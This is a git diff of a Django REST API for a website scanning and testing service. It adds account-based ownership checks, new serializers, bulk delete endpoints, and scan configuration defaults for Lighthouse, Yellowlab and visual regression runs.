stripe.Price.modify(account.price_id, active=False) + + + Account.objects.filter(user=user).update( + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + max_sites = max_sites, + ) data = { 'subscription_id' : subscription.id, @@ -339,7 +336,7 @@ class AccountActivation(APIView): def post(self, request): account = Account.objects.get(user=request.user) - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE if account.active == True: stripe.Subscription.modify( diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index fd8559dc..a74996b7 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -1,4 +1,4 @@ -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from ...models import * from rest_framework import serializers from rest_framework.fields import UUIDField @@ -22,13 +22,28 @@ class Meta: +class ProcessSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + + class Meta: + model = Process + fields = ['id', 'site', 'type', 'time_created', 'time_completed', + 'successful', 'info_url', 'progress', + ] + + + class SiteSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Site - fields = ['id', 'user', 'site_url', 'time_created', 'info'] + fields = ['id', 'user', 'site_url', 'time_created', 'info', + 'tags', 'account', + ] class ScanSerializer(serializers.HyperlinkedModelSerializer): @@ -39,18 +54,28 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'scores', 'audits' + 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', + 'images', 'configs', 'tags', 'type', ] class SmallScanSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) + lighthouse = serializers.SerializerMethodField() + yellowlab = serializers.SerializerMethodField() id = serializers.PrimaryKeyRelatedField(**kwargs) + def get_lighthouse(self, obj): + return {'scores': obj.lighthouse['scores']} + + def get_yellowlab(self, obj): + return {'scores': obj.yellowlab['scores']} + class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 'scores' + fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', + 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', ] @@ -64,7 +89,8 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'scores_delta' + 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', + 'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', ] @@ -77,7 +103,8 @@ class SmallTestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', - 'pre_scan', 'post_scan', 'score', 'scores_delta' + 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', + 'yellowlab_delta', 'tags', 'component_scores', ] @@ -86,12 +113,13 @@ class ScheduleSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) automation = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Schedule fields = ['id', 'site', 'time_created', 'user', 'task_type', 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', - 'periodic_task_id', 'status', 'automation' + 'periodic_task_id', 'status', 'automation', 'extras', 'account', ] @@ -100,9 +128,68 @@ class AutomationSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) schedule = serializers.PrimaryKeyRelatedField(**kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Automation fields = ['id', 'expressions', 'actions', 'user', 'schedule', - 'time_created', 'name' + 'time_created', 'name', 'account', + ] + + + + +class ReportSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + + class Meta: + model = Report + fields = ['id', 'site', 'user', 'time_created', 'type', + 'path', 'info', 'account', + ] + + + + +class CaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + + class Meta: + model = Case + fields = ['id', 'name', 'user', 'steps', 'time_created', + 'tags', 'account', + ] + + + +class TestcaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + + class Meta: + model = Testcase + fields = ['id', 'site', 'user', 'time_created', 'time_completed', + 'steps', 'case', 'case_name', 'passed', 'configs', 'account', + ] + + +class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + + class Meta: + model = Testcase + fields = ['id', 'site', 'user', 'time_created', 'time_completed', + 'case', 'case_name', 'passed', 'configs', 'account', ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 347a39ad..da27dd42 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,21 +1,21 @@ -import json, datetime +import json, boto3, asyncio +from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask -from ...models import (Test, Site, Scan, Log, Automation) +from ...models import * from rest_framework.response import Response from rest_framework import status -from ...models import (Test, Site, Scan, Log, Schedule, Account) -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer, SmallTestSerializer, - SmallScanSerializer, - ) +from .serializers import * +from ...tasks import * from rest_framework.pagination import LimitOffsetPagination -from django.urls import resolve -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.lighthouse import Lighthouse -from ...scan_tests.tester import Test as T -from ...tasks import (create_site_bg, create_scan_bg, create_test_bg) +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.image import Image as I +from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P +from ...utils.caser import Caser + @@ -49,21 +49,28 @@ def record_api_call(request, data, status): def check_account(request): - if Account.objects.filter(user=request.user).exists(): - account = Account.objects.get(user=request.user) - if account.active == True: - return True - else: - return False + if Member.objects.filter(user=request.user).exists(): + member = Member.objects.get(user=request.user) + return member.account.active else: - return True + return False def create_site(request, delay=False): - site_url = request.data['site_url'] + site_url = request.data.get('site_url') user = request.user - sites = Site.objects.filter(user=user) + account = Member.objects.get(user=user).account + sites = Site.objects.filter(account=account) + + + if site_url.endswith('/'): + site_url = site_url.rstrip('/') + + if site_url is None or site_url == '': + data = {'reason': 'the site_url cannot be empty',} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) account_is_active = check_account(request) if not account_is_active: @@ -71,30 +78,61 @@ def create_site(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - try: - max_sites = Account.objects.get(user=user).max_sites - except: - max_sites = 1 - - if sites.count() >= max_sites: + if sites.count() >= account.max_sites: data = {'reason': 'maximum number of sites reached',} record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - if Site.objects.filter(site_url=site_url).exists(): + if Site.objects.filter(site_url=site_url, user=user).exists(): data = {'reason': 'site already exists',} record_api_call(request, data, '409') return Response(data, status=status.HTTP_409_CONFLICT) else: + tags = request.data.get('tags', None) + configs = request.data.get('configs', None) + no_scan = request.data.get('no_scan', False) site = Site.objects.create( site_url=site_url, - user=user + user=user, + tags=tags, + account=account ) - if delay == True: - create_site_bg.delay(site.id) - else: - ScanSite(site=site).first_scan() + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False + } + + if no_scan == False: + if delay == True: + scan = Scan.objects.create( + site=site, + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + configs=configs, + ) + # running scans in parallel + if 'html' or 'logs' or 'full' in types: + run_html_and_logs_bg.delay(scan_id=scan.id) + if 'lighthouse' or 'full' in types: + run_lighthouse_bg.delay(scan_id=scan.id) + if 'yellowlab' or 'full' in types: + run_yellowlab_bg.delay(scan_id=scan.id) + if 'vrt' or 'full' in types: + run_vrt_bg.delay(scan_id=scan.id) + # create_site_bg.delay(site.id, scan.id, configs) + site.info["latest_scan"]["id"] = str(scan.id) + site.info["latest_scan"]["time_created"] = str(scan.time_created) + site.save() + else: + S(site=site, configs=configs).first_scan() serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -105,14 +143,26 @@ def create_site(request, delay=False): + + + def get_sites(request): site_id = request.query_params.get('site_id') user = request.user + account = Member.objects.get(user=user).account + if site_id != None: - site = Site.objects.get(id=site_id) - if site.user != user: - data = {'reason': 'you cannot retrieve a Site you do not own',} + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site.account != account: + data = {'reason': 'retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -120,7 +170,7 @@ def get_sites(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) - sites = Site.objects.filter(user=user).order_by('-time_created') + sites = Site.objects.filter(account=account).order_by('-time_created') paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(sites, request) serializer_context = {'request': request,} @@ -133,13 +183,24 @@ def get_sites(request): def delete_site(request, id): user = request.user - site = Site.objects.get(id=id) + account = Member.objects.get(user=user).account + + try: + site = Site.objects.get(id=id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot delete Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'delete a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + # remove s3 objects + delete_site_s3_bg.delay(site_id=id) + + # remove site site.delete() data = {'message': 'Site has been deleted',} @@ -148,9 +209,66 @@ def delete_site(request, id): return response +def delete_many_sites(request): + ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + site = Site.objects.get(id=id) + if site.account == account: + delete_site_s3_bg.delay(site_id=id) + site.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + def create_test(request, delay=False): + # get data from request + configs = request.data.get('configs', None) + pre_scan_id = request.data.get('pre_scan', None) + post_scan_id = request.data.get('post_scan', None) + index = request.data.get('index', None) + test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + tags = request.data.get('tags', None) + pre_scan = None + post_scan = None + site_id = request.data.get('site_id') + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -158,31 +276,115 @@ def create_test(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - site_id = request.data['site_id'] - user = request.user site = Site.objects.get(id=site_id, ) - if site.user != user: - data = {'reason': 'you cannot create a Test of a Site you do not own',} + if site.account != account: + data = {'reason': 'create a Test of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + if len(test_type) == 0: + test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False + } + + if not Scan.objects.filter(site=site).exists(): + data = {'reason': 'Site not yet onboarded'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + if pre_scan_id: + try: + pre_scan = Scan.objects.get(id=pre_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - pre_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if post_scan_id: + try: + post_scan = Scan.objects.get(id=post_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - post_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # grabbing most recent Scan + if pre_scan_id is None: + pre_scan = Scan.objects.filter(site=site).order_by('-time_created')[0] + + if pre_scan: + if pre_scan.time_completed == None: + data = {'reason': 'pre_scan still running'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + if post_scan: + if post_scan.time_completed == None: + data = {'reason': 'post_scan still running'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + + # creating test object + test = Test.objects.create( + site=site, + type=test_type, + tags=tags, + ) + if delay == True: - create_test_bg.delay(site.id) - data = {'message': 'test is being created in the background'} + create_test_bg.delay( + test_id=test.id, + configs=configs, + type=test_type, + index=index, + pre_scan=pre_scan_id, + post_scan=post_scan_id, + tags=tags, + ) + data = { + 'status': True, + 'message': 'test is being created in the background', + 'id': str(test.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) + else: - test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + if not pre_scan and not post_scan: + new_scan = S(site=site, configs=configs, type=test_type) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + if not post_scan and pre_scan: + post_scan = S(site=site, scan=pre_scan, configs=configs, type=test_type).second_scan() + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() + post_scan.save() + + # updating test object + test.type = test_type + test.type = test_type test.pre_scan = pre_scan test.post_scan = post_scan test.save() - updated_test = T(test=test).run_full_test() + # running tester + updated_test = T(test=test).run_test(index=index) serializer_context = {'request': request,} serialized = TestSerializer(updated_test, context=serializer_context) @@ -194,19 +396,31 @@ def create_test(request, delay=False): + + + + def get_tests(request): user = request.user + account = Member.objects.get(user=user).account test_id = request.query_params.get('test_id') site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') time_end = request.query_params.get('time_end') - small = request.query_params.get('small') + lean = request.query_params.get('lean') + if test_id != None: - test = Test.objects.get(id=test_id) - if test.site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + try: + test = Test.objects.get(id=test_id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if test.site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -231,8 +445,8 @@ def get_tests(request): record_api_call(request, data, status_code) return Response(data, status=this_status) - if site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -252,10 +466,10 @@ def get_tests(request): paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(tests, request) serializer_context = {'request': request,} - if small != None: + serialized = TestSerializer(result_page, many=True, context=serializer_context) + if lean is not None: serialized = SmallTestSerializer(result_page, many=True, context=serializer_context) - else: - serialized = TestSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') @@ -264,13 +478,80 @@ def get_tests(request): + +def get_test_lean(request, id): + user = request.user + account = Member.objects.get(user=user).account + + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if test.site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # get images_delta if exists + try: + images_delta = {"average_score": test.images_delta.get('average_score')} + except: + images_delta = None + + # get lighthouse_delta if exists + try: + lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')} + except: + lighthouse_delta = None + + # get lighthouse_delta if exists + try: + yellowlab_delta = {"scores": test.yellowlab_delta['scores']} + except: + yellowlab_delta = None + + data = { + "id": str(test.id), + "site": str(test.site.id), + "tags": test.tags, + "type": test.type, + "time_created": str(test.time_created), + "time_completed": str(test.time_completed), + "pre_scan": str(test.pre_scan.id), + "post_scan": str(test.post_scan.id), + "score": test.score, + "lighthouse_delta": lighthouse_delta, + "yellowlab_delta": yellowlab_delta, + "images_delta": images_delta, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + def delete_test(request, id): - test = Test.objects.get(id=id) + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = test.site user = request.user + account = Member.objects.get(user=user).account - if site.user != user: - data = {'reason': 'you cannot delete Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'delete Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -283,13 +564,72 @@ def delete_test(request, id): +def delete_many_tests(request): + ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + test = Test.objects.get(id=id) + if test.site.account == account: + test.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + + + def create_scan(request, delay=False): - - site_id = request.data['site_id'] + user = request.user - site = Site.objects.get(id=site_id) + account = Member.objects.get(user=user).account + site_id = request.data.get('site_id', None) + configs = request.data.get('configs', None) + types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + tags = request.data.get('tags', None) + + if len(types) == 0: + types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) account_is_active = check_account(request) if not account_is_active: @@ -297,20 +637,59 @@ def create_scan(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - if site.user != user: - data = {'reason': 'you cannot create a Scan of a Site you do not own',} + if site.account != account: + data = {'reason': 'create a Scan of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False + } + + # creating scan obj + created_scan = Scan.objects.create( + site=site, + tags=tags, + type=types, + configs=configs, + ) + if delay == True: - create_scan_bg.delay(site.id) - data = {'message': 'scan is being created in the background'} + + # running scans in selenium mode + if 'html' in types or 'logs' in types or 'full' in types: + print('running html & logs') + run_html_and_logs_bg.delay(scan_id=created_scan.id) + if 'lighthouse' in types or 'full' in types: + print('running lighthouse') + run_lighthouse_bg.delay(scan_id=created_scan.id) + if 'yellowlab' in types or 'full' in types: + print('running yellowlab') + run_yellowlab_bg.delay(scan_id=created_scan.id) + if 'vrt' in types or 'full' in types: + print('running vrt') + run_vrt_bg.delay(scan_id=created_scan.id) + + + data = { + 'status': True, + 'message': 'scan is being created in the background', + 'id': str(created_scan.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) else: - created_scan = Scan.objects.create(site=site) - updated_scan = ScanSite(scan=created_scan).first_scan() - + updated_scan = S(scan=created_scan, configs=configs).first_scan() serializer_context = {'request': request,} serialized = ScanSerializer(updated_scan, context=serializer_context) data = serialized.data @@ -325,17 +704,23 @@ def create_scan(request, delay=False): def get_scans(request): user = request.user + account = Member.objects.get(user=user).account scan_id = request.query_params.get('scan_id') site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') time_end = request.query_params.get('time_end') - small = request.query_params.get('small') + lean = request.query_params.get('lean') if scan_id != None: - scan = Scan.objects.get(id=scan_id) + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) - if scan.site.user != user: - data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + if scan.site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -345,22 +730,17 @@ def get_scans(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + try: site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + - if site.user != user: - data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -378,23 +758,77 @@ def get_scans(request): paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(scans, request) serializer_context = {'request': request,} - if small != None: + serialized = ScanSerializer(result_page, many=True, context=serializer_context) + if lean is not None: serialized = SmallScanSerializer(result_page, many=True, context=serializer_context) - else: - serialized = ScanSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response + +def get_scan_lean(request, id): + user = request.user + account = Member.objects.get(user=user).account + + try: + scan = Scan.objects.get(id=id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if scan.site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # get lighthouse scores if exists + try: + lighthouse = {"scores": scan.lighthouse.get('scores')} + except: + lighthouse = None + + # get yellowlab scores if exists + try: + yellowlab = {"scores": scan.yellowlab.get('scores')} + except: + yellowlab = None + + data = { + "id": str(scan.id), + "site": str(scan.site.id), + "tags": scan.tags, + "type": scan.type, + "time_created": str(scan.time_created), + "time_completed": str(scan.time_completed), + "lighthouse": lighthouse, + "yellowlab": yellowlab, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + def delete_scan(request, id): - scan = Scan.objects.get(id=id) + try: + scan = Scan.objects.get(id=id) + except Exception as e: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = scan.site user = request.user + account = Member.objects.get(user=user).account - if site.user != user: - data = {'reason': 'you cannot delete Scans of a Site you do not own',} + + if site.account != account: + data = {'reason': 'delete Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -407,7 +841,58 @@ def delete_scan(request, id): +def delete_many_scans(request): + ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + scan = Scan.objects.get(id=id) + if scan.site.account == account: + scan.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + + + + + def create_or_update_schedule(request): + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -416,41 +901,49 @@ def create_or_update_schedule(request): return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) try: - site = Site.objects.get(id=request.data['site_id']) - if site.user != request.user and site.user != None: - data = {'reason': 'you cannot create a Schedule of a Site you do not own',} + site = Site.objects.get(id=request.data.get('site_id')) + if site.account != account and site.account != None: + data = {'reason': 'create a Schedule of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: site = None try: - schedule = Schedule.objects.get(id=request.data['schedule_id']) - if schedule.user != request.user and schedule.user != None: - data = {'reason': 'you cannot update a Schedule you do not own',} + schedule = Schedule.objects.get(id=request.data.get('schedule_id')) + if schedule.account != account and schedule.account != None: + data = {'reason': 'update a Schedule you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: schedule = None - try: - schedule_status = request.data['status'] - except: - schedule_status = None - - try: - begin_date_raw = request.data['begin_date'] - time = request.data['time'] - timezone = request.data['timezone'] - freq = request.data['frequency'] - task_type = request.data['task_type'] - except: - pass - try: - schedule_id = request.data['schedule_id'] - except: - schedule_id = None - + schedule_status = request.data.get('status', None) + begin_date_raw = request.data.get('begin_date', None) + time = request.data.get('time', None) + timezone = request.data.get('timezone', None) + freq = request.data.get('frequency', None) + task_type = request.data.get('task_type', None) + test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + configs = request.data.get('configs', None) + schedule_id = request.data.get('schedule_id', None) + case_id = request.data.get('case_id', None) + updates = request.data.get('updates', None) + + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + 'timeout': 300, + 'disable_animations': False + } if schedule_status != None and schedule != None: task = PeriodicTask.objects.get(id=schedule.periodic_task_id) @@ -463,26 +956,58 @@ def create_or_update_schedule(request): task.save() schedule.save() # retriving object again to avoid cacheing issues - schedule_new = Schedule.objects.get(id=request.data['schedule_id']) + schedule_new = Schedule.objects.get(id=request.data.get('schedule_id')) + + # if not status change, updating data else: + if Automation.objects.filter(schedule=schedule).exists(): + automation = Automation.objects.filter(schedule=schedule)[0] + auto_id = str(automation.id) + else: + auto_id = None + if task_type == 'test': task = 'api.tasks.create_test_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, + 'type': test_type, + 'automation_id': auto_id } if task_type == 'scan': task = 'api.tasks.create_scan_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, + 'type': scan_type, + 'automation_id': auto_id + } + + if task_type == 'report': + task = 'api.tasks.create_report_bg' + arguments = { + 'site_id': str(site.id), + 'automation_id': auto_id + } + + + if task_type == 'testcase': + task = 'api.tasks.create_testcase_bg' + arguments = { + 'site_id': str(site.id), + 'case_id': str(case_id), + 'updates': updates, + 'configs': configs, + 'automation_id': auto_id, } format_str = '%m/%d/%Y' try: - begin_date = datetime.datetime.strptime(begin_date_raw, format_str) + begin_date = datetime.strptime(begin_date_raw, format_str) except: - begin_date = datetime.datetime.now() + begin_date = datetime.now() num_day_of_week = begin_date.weekday() day = begin_date.strftime("%d") @@ -513,12 +1038,9 @@ def create_or_update_schedule(request): periodic_task.update( crontab=crontab, name=task_name, task=task, + 